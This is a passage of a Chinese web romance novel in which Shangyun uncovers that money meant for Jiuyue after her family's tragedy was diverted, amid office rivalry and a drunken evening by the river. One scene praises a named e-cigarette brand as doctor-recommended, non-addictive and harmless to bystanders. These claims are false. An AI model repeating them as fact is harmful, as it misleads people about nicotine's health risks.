她顿了顿,“因为,我就在他公司上班。” 这回朱明沉默了。九月并没给他时间反应过来,“朱明哥还有其他事么?我准备去洗澡了。” 朱明似乎怔忡初醒:“噢,你去吧,早点休息。” 周末。九月和朱明没有去成安源镇,尚云却悄悄去了一趟。 尚云站在那座院落前,紧张沸腾的心情,降成冰点。 这么多年,他一直没回安源镇,一是因为跟金仕集团签了十年契约,二是怕踏碎那一纸清梦。他自欺欺人的认为,只要他不回来,那些美好记忆都还活生生地存在。 但他终究还是回来了,来寻找一些蛛丝马迹。 曾热闹纷繁的慕家,杂草环绕,蛛丝横网,空无一人。破旧蒙尘的门窗,与木质封条都在告诉他一个信息——自他离开,宅子就没有再住过人。 一切维持十二年前他离开的样子。 十二年岁月,安源镇变化很大。 那片海滩已由当初的自然海滩开发成旅游景点,设立了围栏与售票点,加建了许多海域风情的建筑与植物。远处沙岸上那艘躲雨的破船,也消失无踪,取而代之的是一排排临海别墅。 一切都物是人非了,海滩也早已失去了原有的样子…… 儿时,她常低头在海滩绘画,她的眼睛如黑色水晶,圆莹清澈,又如夜空里熣灿的烟火,能把人心底的黯然瞬间照亮。 尚云轻轻闭上眼睛,阳光尽数落在他脸上,那坚毅俊逸的线条,闪耀着泪痕。 再度睁开眼睛,水雾薀洇的眼眸刹那间清亮,深邃的眼神,酝酿着复杂情绪。 少顷,他从车里提出名贵礼品,去拜访邻居朱家。 十二年前慕家夫妻值班的那一趟公交车发生车祸,车祸所致的伤亡者家属们疯狂地找上门,骂的骂,打的打,见着那失控的场面,年近七旬老太与九月、尚云除了跪地向伤亡者家属磕头道歉以消众怒,毫无他法。 然而被生死离别与彻骨怨恨迷了心智的人们,并不因这一老二少的歉疚泪水所动,反被激怒挥拳相向。尚云拦不住众人,只得把老太太和九月护在削瘦的身板下,挡下诸多拳棒。 忍无可忍的情况下,尚云拳头捏得格格作响,以迅雷不及掩耳之势赤拳空掌横扫一片。老太太和九月俱是惊诧,一脸不可思议。 众人先是惧悸,女人们撒泼打滚,男人们从地上爬起来,愈发怒气攻心,瞬间涌进屋里砸窗摔家具,家里如遭洗劫,屋瓦狼藉。 老太太和九月苦苦拉着欲出手阻止他们的尚云。 也就在那天,老太太心脏病发,握着九月的手老泪纵横,很多牵挂和嘱咐已经说不出来。 溘然长逝。 尚云与九月年纪尚轻,悲痛之余,无力招架众怨。多亏声威并重的邻居朱家夫妇及时站出来竭力平乱,出钱又出力,忙里忙外的张罗,料理了慕家夫妻和老太太身后事。 尚云感恩于怀,特上门拜访。 朱伯母倒了一杯刚煮好的茶,递到尚云手上。“小心烫啊。” “谢谢伯母。”尚云接过杯子,问起朱家近况。 朱伯母是一名退休人民教师,如今六十多岁。她的丈夫朱挺则是c医大的退休教授,也快七十的人了。他们中年得子,有一个比九月大两天的儿子朱明。夫妻二人视若珍宝,奉为日月,便给他取单名“明”字,虽字义简单,却是含义深重,宠爱横溢。 朱家与慕家两代都是邻居,平时不论大人或小孩的亲近惯了,两家感情比亲戚还深厚。 朱伯母絮絮叨叨说了很多,最后叹口气道:“时间可过得真快,转眼你都这么大了。这些年我托很多人找过你和九月,一直没有你们的音信,你伯父嘴上不说,心里着急,常常一提起你们就长吁短叹。 朱明后来出国留学了,两年前回来开办了心理诊所,才碰上九月,知道她此前一个人孤苦伶仃的在外面漂零。 大概在一年半以前,单位同事老李提到学校要招美术教师,说我人脉广让我推荐。朱明出主意说可以问问九月。老李曾是她的美术老师,提到九月还是赞不绝口,当即一百个满意。 九月知道后答应下来,说是愿意利用周末时间公益支教。不过,十二年来,她从未回来过这里,估计是怕睹物思人。 唉......我和你朱伯伯看到那幢老房子心里挺难过。你呢?这些年过得好吗?”朱伯母问得小心翼翼。 “伯母,让你们这样担心,真对不起。这些年,受你们恩情太多,不知道该怎样回报。”顿了一下,“伯伯不在家吗?” “你伯伯一个老同学刚从xJ回来,叙旧去了。以前他经常会以各种借口在周边城市转悠,现在养成习惯,老爱往外跑。他虽没说出来,但我知道他只想利用这种方式,增加遇见你们的几率。还在那个什么因特网上也发了不少布告,那些个网站我都记不住,人老了,记性变差了,都说老朽无能,不服老都不行啊!”朱伯母微微笑着说。 尚云一时怅然,回忆当年说什么都显得沉重。他喝了一口热茶,又关切了几句,婉拒朱伯母留他共用午餐,便离开了。 开车在安源镇的环城路转悠,沿途风景很美,入眼的景色都有故事。 安源镇的变化很大,规划整齐,环境建设自然。 当那条似曾相识的林荫街映入眼帘,尚云坐直了身子。从车窗望去,这里还是那样寂静,寂静得能听到十年前的脚步声。 少年的他和九月,常常在每个月拿到零花钱后,便踩着这条街的落叶,去找前方左拐角飘着荷香的点心坊。那红豆和薄荷的细腻软糯的味道,似乎又漫溢在舌尖齿间,萦绕不去。 三十五章 当年的四面楚歌 这么多年,点心坊还在否? 尚云把车靠边泊好,想走路过云。水泥铺的地面很干净,踩上去没有当年那种松软的感觉,却比想像中还要寂静,似乎整条街只有他的脚步声。 前方有个木标,指示左拐减速。 尚云每一步像是使尽了气力,越来越慢的步代停在木标下方,仰视那个泛黑的木牌。 只需拐个弯,他就能知道答案,但偏偏这时候,他手机响了,是阿闲打来的。 “总经理,祖宅在十二年前被九月抵押出去,贷款35万元,每月按揭共二十年,去年提前全部还清。” “有没有查出来贷款做了什么?” “贷款用于她父亲车祸赔偿。” “知道了。”尚云脸色难看到极点,转身快步走回自己车旁。当年他向金家预支了50万,压根没到她手上?可金志高从未向他提及始末,只说一切会办妥。 手上一用劲,车门“呼”地被打开。 他迅速坐进车内,疾驰而去。 金仕集团。 公司召集高管会议,金志高到来之前,高管们已经提前五分钟在会议室正襟危坐。 尚云十年时间打造的蓝鲸作战团队训练有素,两年多以前离开金仕,他的管理模式却遗留至今。多亏了他这十年的整顿。金仕集团也因此事事有计划,件件有方案,凡事自有定律和逻辑可复制,百试不爽。 金志高散漫惯了,从来志不在商管。因此全然没有尚云那样天生将帅风范,更没有尚云那样自律克制的习性,常常被尚云带领出来的高管团队推着走,个中滋味既令人欣慰也让他难堪。 半晌,金志高意气风发的走进来,一边跟在座各位打着招呼,一边笑着说:“大家都到齐了哈!其实也没什么大事,不过今天这个会议主题很重要。大家都知道,公司成立以来,在半途跌落谷底,后来又转换经营模式,重新选定新风口乘势爬了上来。 这些年,业务跟产品是愈发成熟,但时代在变,我们也要保持机敏,不断微调战略。先别吹下海口说要引领时代,至少要跟得上时代。” 他顿了顿环视一遍,见下面没有异议,又说:“各位也看到了,之前选择开发直插和有声市场,现在市场已成趋势,跟风者无数,凡是风口,都是挤破头的架势。所以我们要试着去突围,再上一层楼。我这两天也看了各平台数据,了解行业的痛点,我觉得我们是可以出手的。” 众人尚在细思他的提议,因此还是没有人响应。 他沉吟一会,接着说道:“前段时间我跟尚总联系,他建议我们要抓住这个机会打造一个涵盖所有直播平台优点、解决了所有直播平台痛点,并且让影视投资换一种面孔重新赢得观众追捧的兼容性直播平台。我手上有尚总给的方案,第一步任务,市场部在两周内要深度分析所有直播平台的优劣势以及用户的体验和需求;第二步研发部配合市场部收集数据,并参考市场部的数据升华创新影视传播形式。” 众人一听是尚云的方案,回应声势甚高。 “没问题,我们全力支持公司的任何决策。” 听到这句话,金志高顺势安排了工作:“好!龙宽行和颜岸把手头工作安排好,下周三跟我去趟国外,十天左右回来。主要了解外面的市场运作,回国后全力着手经营你的线上用户群,未来产品研发出来,将成为你第一批试点用户。” “你们前期要投入多少资金各部门先做个预算方案,需要人、财、物任何方面的资源公司全力支持,直播新平台将是我们未来的主战场,未来我们要站得多高,取决现在根扎得有多深。选对赛道是运气,跑赢这场赛事才是实力,各位务必重视!” “市场部明天就安排!” “研发部今晚全体加班,明天早上我们可以交预算方案。” 志高这才满意松了口气,点点头说道:“那今天就到这里,去忙吧。” 散会后,助理告诉他说,“尚总回来了。” 金志高似乎不相信,立即问:“在哪?” “就在你办公室。” “快,泡茶。前天我淘回来的那盒好茶。”说完自己加急步子就回办公室。 助理少顷将泡好的高品香茶端了进去。 志高正在半真半假的一通抱怨,“你可算回来了,你不知道我这两年都是怎么过来的。现在我有任何决策,只能借着你的名号才敢抛出来,想想就好笑。否则团队死寂一片,只有在听到你的名字,大家眼中才有光,执行效率没得说。” 他喝了一口茶,说道:“你赶快回来吧!我怕是扛不了多远了,我还能扛着你的旗号一辈子不成......”说着说着,声音弱了下去。 他发现尚云脸色不对。 尚云并不像以前那样无奈一笑,或是出谋划策,只是板着脸喝茶,沉默不语。金志高对他甚为了解,他越是生气,越是沉默平静,自个儿在内心消化翻滚的怒火。 “我知道你不是喜欢闲逛的人,这次来可是有事?子玥最近没联系你吧?”志高脑中猜测不出能让他主动上门的事情,子玥最近跟着小姨去了xZ,半旅行半工作,断不可能去惹尚云的。 “志高,”尚云声音有些暗哑,“我有些想问你,如果你还当我是兄弟,你要实话告诉我。” 金志高愣了半晌,才沉声说道:“我不知道你遇到什么事,接下来要问什么?但我以十年的兄弟情份起誓,我不会骗你。” 尚云放下茶杯,直视他的眼睛,面无表情地缓慢道:“十二年前慕家出事,我答应你的请求来金仕工作,为了提前预支50万元救急款,我跟金仕签订了十年契约。你还记得吧?” “当然记得。事情过去这么多年,怎么突然提起这事?”金志高也神情严肃起来。 “那50万元你当初交到谁的手中?”尚云依然直视他的眼睛。 “交到......”他一时语塞,思索半天才说道:“哦,想起来了。当时的法务部长林作杰,我亲手将钱和你嘱咐的话告诉他,他办事最为稳妥。事后打电话告诉我,事已办妥。当年年底他就离职了。” 第三十六章 唤醒天下良知 “林作杰?”尚云额头血管爆凸,他眯起眼睛,低声重复这个名字。 “难道,慕家那姑娘没拿到钱吗?”金志高渐渐意识到问题所在,一脸不敢置信。 当时慕家陷入困境尚云才做出违背自身意愿加入金仕,他原本有自己的计划,说不定普世文化早就创立,凭尚云的天赋和实力,到今天已是另一番景象。 当年虽然有些不厚道,但他确实感谢命运带来的转折,将尚云结结实实绑定在金仕集团,自家产业才得以复兴。这份恩德,连父亲都感怀在心。 可如果当年慕家根本没收到这笔钱,那当时走投无路的慕九月又如何自处?她当时只是一个十五岁的小姑娘,加上尚云的离开更是无所依靠,她面临的是四面楚歌的处境,如何面对那笔对她来说的巨债?又如何生存? 想到这里,金志高内心升起强烈内疚,如果这事不查清楚,他们全家都没脸再见尚云。 尚云默默起身,也没打招呼,便起身欲离去。 “尚云。”他身后传来金志高沮丧的声音,他顿住步子并未回头。 “对不起。金仕一定会彻查当年的事,给你一个交代。” 尚云眼眶含泪,不发一言,径直离开了。 尚云整夜头疼失眠引发胃疾,服下药物后,凌晨四点多才迷迷糊糊睡着。 周一神色萎靡,除了日常请示与批阅工作,其他会见计划全部延后。 木信察觉到老板的反常,很多请示工作都在他手上挡了下来。 此时,尚云怔怔望着虚无的某个点陷入沉思。 他以为用50万签断自己十年自由,还清35万元的外债,还能有15万元,保障她在阳光下野蛮生长,便心安理得的甘作囚徒。 然而,这些年的“心安理得”都建立在空中楼阁,那五十万压根就没有落入她手里,她这十二年独自面临了什么?又是怎么过的? 想起那次唯一在她住所吃饭的晚上,他故意发起的那次争吵。 她说:“活着,比那些虚无飘渺的事物更重要。” 她也颤抖着的反驳:“尚云......你只是一个买家......你凭什么这样说我!” 原来,这些话背后都藏着十来年的遣责,他确实没有任何立场去干涉她。 想到这里,就让他疼得心尖发颤。 朱伯母那句话也犹在耳边。 “十二年来,她从未回来过这里,估计是怕睹物思人。” 如今,终于明白她为何想出售祖宅。 木信把文件放在他面前,他才突然回过神来。 “你怎么不敲门?” 听到他的质问,木信哑然。事实上他不仅敲了门,还一路说着话走到他身边,并将文件展开给他看。 “老板,公司遇到难题了吗?” 尚云低头看着文件,半天没看进内容,理不出头绪来。他闭上眼睛,揉揉山根。听到木信这样问,不禁抬头,“怎么这样问?” “你很少这样累,完全不在状态。要不你回去休息吧,公司事情我能处理都交给我,不能处理就等你回来再处理。” 尚云沉默少顷,问道:“糖世家那边的案子跟进得怎么样了?” “上个周末九月加班已经提前把下一步实施方案做出来,昨天发邮件给我了,同时也有抄送给你。我觉得没问题,她进步神速,完全超出我的预期。目前由蓝鲸7队进行文化执行阶段,远远没到实施下一步计划的时机。完全可以等你状况好点到时一起开会商讨。” “嗯。”尚云点点头,“对了,阿闲最近帮我办点事,出外勤比较多。公司事务你要多费点心。” “好,我明白。那我下去做事了。” “嗯,去吧。” 夜幕降临,古尚云坐在客厅里,没有开灯。 木信在上次来别墅时,尚云就给他智能权限,因此能自由出入。 “老板。” 尚云借着庭院自动开关的灯柱投射过来的光,看清来人是木信。“木信,你怎么来了。” 木信按亮客厅的灯光,“看你精神不太好,有点担心。就过来看看。我给你打电话没接,就自己进来了。” “嗯。”古尚云摁熄手中的烟。 “原来老板也吸烟,这个你拿着,对身体损害少。”木信将他的烟拿走,递给他一支精巧圆润的约手指长短的物件。 “这是什么?”尚云平时不常吸烟,对时下流行的产品也不太了解。 “基克纳旗下的电子烟产品,也是医生都建议使用的产品,因为它不会上瘾,没有二手烟伤害,还有戒烟效果。” 尚云接过来,看到细致如陶瓷的漂亮烟管上有“GEEKVApE”字样,木信解释,“基克纳旗下的出口产品,时下最流行的品牌。下次我叫国外朋友再给你捎点。” “我猜你一定没吃饭。”他把手上提的袋子放在餐桌上,逐一打开:“我带了点菜过来,陪你喝点?” 尚云大概被木信的举动温暖到了,他向来细致周到。 “我像是遇到点事就以酒买醉的人?”尚云心中的苦涩消散了些许。 “呃~当然不是......我不过是推己及人。自己心情烦闷时,喝点小酒能解压。男人不像女人,可以哭哭啼啼祥林嫂一样倾诉个没完,只能把苦和在酒里咽下去,在肚中酝酿成担事的力量。” 木信挑挑眉,似乎在说,你不是这样吗? 尚云习惯在孤独中反思、重建,一向高筑堡垒,防人戒备。 见木信用了心,便不动声色地幽默了一把,“嗯,确实饿了。半夜跟个大老爷们窝在家里吃饭谈心,还是有点怪。整点酒吧,省得冷场。” 木信笑道:“得咧!” 带来了一些饺子,烤鱼和烧烤。摆上桌还冒腾着热气。他打开一听碑酒递给尚云,“老板,跟在你身后多年,以前自以为很了解你,把你视为我心中的神。但在普世文化这两年多的相处,我才真正了解你。” “怎么?以前在心里给我封了神,三年后又给我打回人形了?”尚云接过啤酒,感觉好笑地回他。 木信给自己也开了一听啤酒,说道:“神可敬而不可亲,现在是可敬可亲,有血有肉的英雄。强太多了。” “啧!你小子,这三年不光能力疯长,就连溜须拍马的功夫也有长进。”说着挑了木信最喜欢的骨肉相连放在他面前,知道他好这一口:“吃吧,快凉了。” “老板也吃。”木信夹了几支烧烤放在他面前,看看情景不错,鼓足勇气想说几句平时不敢说的话。 “老板一心扑在事业上,工作霸占了你睡觉以外的所有时间,该停下来想想个人的终身大事。” “你现在住在太平洋海岸吗?” “啊?”木信没反应过来。 “操心得够宽。”尚云冷不防说。 木信这才明白,他被尚云揶揄了。 木信笑起来,还没回应,就又听尚云语含深意:“每个人都有各自的活法,有多少能耐就负多少责。我的能耐就是负责将“普世文化”成为真正的普世文化,唤醒天下良知,早日实现天下共和。旁的负荷不起了。” 但愿实现所想。那时,天下再无阴谋,再无权斗,再无冤死和牺牲。 第三十七章 半路杀出拦路虎 一个星期后的傍晚,九月下班在等公交的时候,一辆熟悉的车停在她面前。 车窗自动摇下。她看到那张阳光帅气的脸。“九月,上车。” “不用,我还是坐公交吧。” “上车吧,这里不能停车,我有话对你说。”莫诚正色道。 九月想了想,便上车了。莫诚启动车子,离开了公交站台。 “有什么事要跟我说?” “我离职了。” 九月惊讶道:“什么时候?为什么?” 莫诚笑了笑,一脸坦然地说道:“就今天。我的情况你也知道,不可能在普世文化一直做下去。” 九月点点头,他自己那么大的产业,确实不可能一直呆在普世文化,“那你得到你想得到的东西了吗?” “得到了。”莫诚微抿着唇,一下子严肃起来。 “能说说吗?我很好奇。这么短的时候就能得到,应该不是什么稀罕东西,然而凭你的背景,非得你亲自大费周章入职普世文化才能得到,又说明它的稀缺性。” 莫诚从鼻孔发出似笑非笑的气息,“九月,你的逻辑推理能力很强。” “这是常规猜测,并不难分析。”她侧头看向他,“是什么?” 他狡黠一笑:“今晚一起吃饭,我会告诉你。” “同事一场,吃顿散伙筵正常,我答应你。” 莫诚笑容扩大,“爽快。” 他轻车熟路地挑了一处地方,在江边一处古色古香的餐厅,两人上二楼找到靠窗的位子坐定。放眼望去,江面两岸万家灯火一览无余。 点了菜,两人都看向窗外如画世界。 “好地方,好风光。”九月说。 “那当然,这个好地方可是我的压轴刹手锏,非同寻常不会来。” 九月听他一席话,开玩笑说:“今天是告别筵,可别弄成告白筵。” 莫诚却没有笑,“你不觉得这里很有家的感觉吗?” “家?”九月差点跟不上他的思路。 “每次来这里,看看江面,看着岸边那些点满莹莹灯光的高楼住房,就像置身其中,有一种被人间烟火包裹的感觉,温暖亲切。”莫诚注视着窗外,脸上带着一种向往的光芒,眼神辽远,仿佛透过江边看到了自己想要的温暖。 良久,莫诚意识到旁边过于安静,转头发现九月探究眼神地望着他,一脸疑惑。 “很奇怪吗?我从小没体验过家庭温暖为何物。”莫诚自嘲地笑了。 接着,他提起自己父母不和,虽没有离婚,却自他出生起,父母就相隔万里,一个在国内,一个常居国外。 他由母亲抚养到六岁,回国在父亲身边上学,高中时又出国随母亲生活,大学时接触国外的电竞行业回国自己鼓捣创业。好在他起步很早,那时国内电竞市场还处于待开发状态,是一块被人忽略了的肥肉,他本来就有丰富经验,又是资深玩家,所以创业相对较顺利,产业很快就起来了。 “原来,你还有这样的成长经历。”九月暗叹,想起阿闲那番话,喃喃道,“说的没错,人在世间都有自己要历的劫,每个人都在自己的生命里,经历着自己的故事。” 这时,菜品都端上来了。 “喝点吧,这里有特色酒,七月桃花酿。” 说着,莫诚叫了三瓶七月桃花酿。 “好漂亮的包装!”九月极其喜欢古典的事物,看到包装雅致古典韵味十足的小酒壶,一下子兴致盎然起来。 “来,你尝尝。”莫诚给她倒了一杯。 “唔,入口醇绵,味道略微有点辣,咽下去回味微甜,有桃花的清香。这酒还不错。”九月品了一杯,难得赞道。 莫诚见她喜欢,也眉开眼笑道,“一会给你带点回去。” “那倒不用,尽兴就行,给下次留个念想。” 这一句尽兴,不知不觉就喝多了。从江景餐厅出来的时候,后劲慢慢上来。九月嫌热,提议去江边吹吹凉风。 “你还没告诉我,你来普世文化,想得到什么?”九月高跟鞋一崴,差点摔倒。幸好莫诚眼疾手快扶住她。 “一个答案。” “你说......什么?”九月觉得头晕,揉着太阳穴问,“什么一个答案?” “我就想得到一个答案。现在得到了,该离开了。”莫诚说。 九月腿一软,险些栽坐在地上。也不知道听进去没有。 莫诚将九月扶到一边,靠着栏杆。“你还好吧,在这坐会再走。说这酒的后劲大你不信,将它当饮料喝。毕竟它是白酒酿造的。” “有点......头晕。”九月看着江边的路灯,各种霓虹灯,模糊成一片光影,像身在万花筒世界,好看极了。 “你坐会,我去给你买瓶水。” 尚云听阿闲汇报这一段时间搜罗的信息,脸色越发阴沉。 “近期注册了一家文化管理咨询公司,据说从国外引进来一个文化大师来操盘。从一系列迹象来看,我估计咱们早就被他们关注,这番操作损人不利己,不管是不是针对,咱们可得注意这只拦路虎了。” “他就这么迫不及待暴露自己。”尚云神色莫测,将目光投向窗外。 蓦地,眼角瞥见熟悉的身影。 他坐直身形:“阿闲,等等。” 阿闲技巧娴熟的刹车,车子性能极好,立马停稳,并没有发出刺耳的刹车声。 “总经理,怎么了?” 九月!她怎么会在这里? 九月抚着额,坐在长椅上,另一只手撑在椅面。 他正要下车,就看到莫诚的身影出现在她身边,扭开瓶盖递给她一支水。尚云听不清两人说什么,只隐约瞧见她脸上安恬清淡的笑靥,瞬间照亮暗夜。 喝了水,莫诚替她擦了擦下巴上淌的水滴。 九月摇摇晃晃,由莫诚扶着,边走边指着江面的光亮。 她一向高冷疏离,跟人客气有加,在莫诚面前竟有如此亲昵的举止。 尚云只觉胸间沉闷无比,像激荡的河流突遇河床中间堵着的一堆沉沙。放在腿上的手紧握成拳,指节发白。 阿闲顺着他的视线,也注意到两人。 “是他?”阿闲道,“需要我去干预吗?” 沉默半晌,尚云抽回视线,冷冷道:“不用。走吧。” 阿闲启动车子离去。 第三十八章 无可失去,无谓惧怕 喝了点水,九月好了很多。 也许在酒精的作用下,她显得非常兴奋。聊兴正浓。像是要把这十年的沉默填补回来。 “我小时候最喜欢去海边玩,因为在海滩上画画不会浪费纸笔材料。谁知道,在那里,我遇见了此生的劫,至今都没能全身而退。”九月说完率先自己笑起来,步伐渐渐不稳。 莫诚时时要注意在她步履不稳时,扶她一把,等她稳了才又松开。“劫?什么劫?” “这是一个不能说的秘密。你给我保密。” “你都没告诉我,还要求我保密。”莫诚看她一本正经的样子,不觉好笑。 江边的晚风,很凉。莫诚脱下外套,给九月穿上。 外套很长很大,穿在她身上衬得像一个小矮人一样。但完全没有影响她的谈兴。 “那我再告诉你一件往事,很好笑。高一那年的一节英语课,那天总感觉要发生什么事,所以整天都心神不宁,脑袋里乱成了浆糊。上课的时候,撑着脑袋在课堂上神游。 正在我东想西想的时候,英语老师突然说:‘好,郑健先坐等一下,我们再问一个同学,有没有其他同学知道答案?’ 没想到老师扫视了全班,最后说:九月,你来回答吧!你知道我那时根本没听课,同桌见我没反应,就用手肘撞我,说:九月,老师叫你呢。 当时我就懵了。抬头才发现全班四十九位同学齐唰唰的看着我。而老师则微笑着扬眉,这是她一贯的表情,就是在提问之后等待答案的模样。我支吾了半天也说不出个所以然,因为我连老师问了什么问题都不知道。 突然隐约想起刚才郑健被老师点了名,于是我嘣出一句:‘我跟郑健同学的想法一样。’全体同学笑得东倒西歪。哈哈哈……你知道为什么吗?” 莫诚伸手捞了一下笑得前仰后俯的九月,也跟着笑:“为什么呢?” “其实当时我也是莫名其妙。我就问同桌:‘刚才郑健回答什么?’我同桌乐不可吱的告诉我:‘郑健说:老师,我要去厕所。’哈哈……你说,你说好不好笑?”九月咯咯笑着,笑着笑着声音却变成呜咽。“可是,英语课还没结束,就有人叫我回家,说爸妈出了车祸……” 莫诚一时沉默起来,拍拍她的背,“别说了,九月,咱不想那些。” 九月泪流满面,趴在江边桅栏上:“莫诚,我想回家,好想回家。可是,我回不去了。” 她哽咽道:“那个原来称之谓‘家’的地方,现在只能称之为房子,没有他们,就不再是家。” “你说的,我都懂。”莫诚将九月扶稳,一些承诺即将脱口而出。 然而,九月摇晃着脑袋,“不,你不会懂。五口之家,短短几天全数失去,这种刻骨的恐惧,痛苦,惶惑无助,没经历过的人永远不会懂。” 小脑袋无力地抵在他胸前,眼泪全蹭在他衬衫上,“无可失去,无谓害怕。现在,我无敌了。” 莫诚空洞而忧郁地眼神望着远处,风又起,吹皱了江面,光影碎成一圈一圈。 开车送她到住处后,莫诚不放心的扶着她下车。“我送你上去吧。” “不用,我没事,放心吧。” “真没事?”莫诚看着她东倒西歪,皱着眉。“我还是扶你上去吧。” “不用,真不用。”九月红着脸拒绝了。抽出被朱明握着的手朝楼梯口走去。 朱明目送她走上楼梯,才松口气驾车离去。 九月摸着扶梯,高一脚低一脚的阶梯似乎走不完。楼道很黑,她用力跺脚,脚都麻了,感应灯还是没亮。 “它坏了!”一个冷漠微怒的声音从黑暗中冒出来。 “不说好今天会修好的嘛。”九月嘴里咕哝一句,摸出钥匙晃到自己门口。摇摇晃晃指着他:“咦?你是谁?新来的邻居?” 月光投射在高大挺拔的身影上,反着光看不清长相。 没听到回应,她也不在意。“你站在我门口干什么?”她伸手轻轻推他一把,他岿然不动,她倒是摇摇晃晃退了一步,却没想到一脚踩空。 眼看就要栽下楼去,男人一手扯住她,下一秒就跌进宽阔温暖的怀里。 熟悉的气息萦绕在她鼻尖,她的记忆里,残存着这种气息。慢慢昂起下巴,醉眼迷朦盯着他看:“尚云。” 尚云以为她认出自己,轻轻推开她。 就见她防备地紧紧环住他,声音沙哑:“我又梦见你了吗。回来好吗?尚云。我快撑不下去了。” 尚云身体微僵,双手紧紧搂住她。无声的泪,顺着刚毅的脸颊落进她的发里。 他此次前来,本欲想满腔怒焰提醒她离莫诚远一点。 然而,看着她此时无助哀伤的醉喃,柔肠寸断。 不管他是否情愿,她都已经成为他生命里的一部分。 他在冷漠痛责她时,所有痛苦也在指向自己。 他羞辱她打压她,伤口却在自己身上撕裂,无法愈合。 低首时,发现她已经调整一个舒适的姿势,醉迷娇憨地窝在他怀抱里睡着了。 第二天。 九月一进办公室,就感觉到紧张的气氛,平日里活跃气氛那几个同事也都严肃着脸,喝水的人也不再呆在茶水间里闲聊,都是来去匆匆。 九月疑惑的落座,悄悄问木信:“今天办公室气氛不一样啊。” 木信也不似平时那样闲适:“哦,正想跟你说这件事。 昨晚公司微信群里的信息没看吧?公司这段时间很多潜在客户被一家新创公司抢夺,已经造成很多客户流失。这两年从来没有出现这种情况。 你做好自己工作即可,不用太过紧张。糖世家的案子我们要将下一步计划双管齐下,速战速决,不能像以前那种打法。上次舆论风暴明面平息,却还有人利用它来拱火。总之,我们必须抢时夺势!” 九月若有所思的点点头,心里慢慢凝重起来。 昨晚宿醉,没注意手机信息。此时摸出手机打开手机微信,果然公司群中发布了“紧急令”,她补签了个收到。 这时又听木信,“上午先跟我出去一趟,下午等老板外出归来再碰头商讨新计划。” “好。” 两人五分钟后出现在公司停车场。 扣好安全带后,木信拿了一份文件递给九月,“你先看看客户资料和需求。我们现在就去这一家。” 第三十九章 帮客户二次创业 九月接过资料,细细看了一遍。 木信将车停在一个偌大的工业园外,风景很好,右边有山有河,左边一排排厂房整齐划一,颇有气势。下车后,清新的空气沁入心脾。 九月头脑清醒了不少,跟着木信来到门卫室登记,半天找不到笔,门卫大手一挥,“算了,进去吧。” 木信一笑,“你不问我们找谁?” “我管这么多闲事,自己工作都忙不过来了。”门卫咕囔一声,埋头整理报表。 他们来得早,八点不到,可能早晚班刚刚接班,夜间写了一大堆报表,白班负责核对整理。老钱探头看了看,报表名目繁多,详细说明自己巡查内容,内容重复。 两人站在办公楼下边的招待区,仔细观察公司的运行。因为担心太惹人注目,两人产未穿职业装,而是穿着平常的衣服,但在这环境下,无论精神气质还是出众的长相,都显得鹤立鸡群。 等了一会,公司派人来接待,在接待人员的陪同下,他观察了公司各部门的日常运作与工作氛围。老板和管理人员都来得较晚,因为最近加强管理,上班时间往后推了推。 在公司转了一圈,期间听接待人员介绍了公司的实际情况,之后木信表示可以自己再看看,让工作人员先去忙。 木信对九月说,“要想得到有效信息,这样转一圈是不够的。不过也不是全然没用,至少了解客户一个整体运作。我们接下来要做的是深入人群,了解现象底下的内核问题。” 九月心领神会。 在向公司借了两套工作服之后,两人分别去了不同的部门。 两个小时后,木信与九月碰头, “发现什么没有?”木信问。 如果是公司培养的新人,他和尚云不会这么快让她直接上手做工作。但九月以前是品牌视觉设计工作,跟文化工作有重合,接受能力又极快,加之她自身有很强的学习欲望,才半个月时间,就达到了一个2年企业顾问从业者的熟练程度。 九月和盘托出自己所见所闻,“公司内部看似规章森严,制度繁杂,实质一盘散沙。各部门不同程度地充斥负面情绪,抵抗公司的决策。 对制度的改发习以为常,依旧我行我素,你纠问题我拆台,有点像......顺坡冲下悬崖刹车失灵的车辆。大家都身在其中,无法自救,只能以破罐子破摔换取痛快。” 木信点点头,“你观察很到位。回去把问题梳理出来,我会把我发现的问题点给交给你,你尝试写出解决方案,做成ppt。” “没问题。”九月点头。 两人跟公司负责人约定好将在三天后派人驻厂“学习”,便回去了。 回公司后,已经是午休时间。 九月一路就在想着解决方案,担心思路被中断,赶紧回电脑前记录下来。 尚云回来时,只有九月办公室的电脑屏幕没关,停在门口往里瞅了一眼。 身后就传来脚步声,看到她,尚云淡淡说了一句:“公司讲究精俭节能,以后去吃饭记得关电脑。”说完欲走。 九月不卑不亢的回道:“尚总误会了,我去拿了下打印资料,就离开了半分钟。” 他顿住身形,低头看了看腕表,时间已经将近一点,公司饭堂素来军事化管理,到了十二点半就会结束就餐。 “来我办公室。” 九月不明其意,便把手中的资料放回办公桌,关了显示屏去了总经理室。 他正坐在办公室一角的休闲区,桌上铺上废纸,把原本一份餐食分成两份。见她站在门口,又淡淡一句:“站那做什么,还不过来吃饭。” 九月迟疑了一会,走过去,顿时愣住了。她面前一份梅菜扣肉,分给她的肉全是瘦的一部分,肥的一部分已经切走。一份是豆角烧茄条,分给她的那一半全是茄条,而尚云碗里尽是豆角。 想起在学校那段很短的午餐时间,两人常常抱着自己饭盒一起吃饭。奶奶总是变着花样做很多菜,手艺好得让人挑剔不起来。 但是,九月是超级挑食大王,也因此常常体弱多病。 “九月,奶奶让我在学校监督你服药,你吃过了没?” “我吃过了。”九月忐忑朝垃圾桶瞄了一眼。 岂能逃过尚云眼晴,气道,“你丢掉了?” 九月作个“嘘”的手势,“尚云哥,回去奶奶问起,你就说我吃了。” “休想拉我一起撒谎。”他一脸正气地转身。 但放学后奶奶问起,她还在愁眉苦脸找借口,却听到他淡定地说,“九月服过药了。” “尚云哥,我不吃肥肉,可是我好喜欢吃扣肉里面的瘦肉。” 他总是一脸严肃批评她,不能挑食! 转头又把自己的瘦肉夹给她,将她碗里的肥肉夹走。 “尚云哥,我饭盒里的豆角都给你。你不要告诉奶奶我挑食。” 于是,每当餐桌上有豆角烧茄条时,尚云只吃豆角,豆角烧五花肉时,他也只吃豆角。 此时此刻,她深藏于暗处冰冻千尺的冷硬心肠消融不少,在他面前坐下来安静地吃饭,临走前收拾好桌子,道一句:“谢谢尚总。”便走了。 尚云吃完早回到了办公位置上,听到她打招呼,他一言不发地望着她离去的身影出神。 下午三人就糖世家项目开专题会议。 糖世家的案子要提前推进至下一个阶段,之前的文化实施也已执行一段时间,目前针对糖世家的弊病,要真正着手割除。 一株美丽的花生长在腐肉上,若不剔除腐肉,腐肉会蔓延,绚烂过后迅速覆灭。 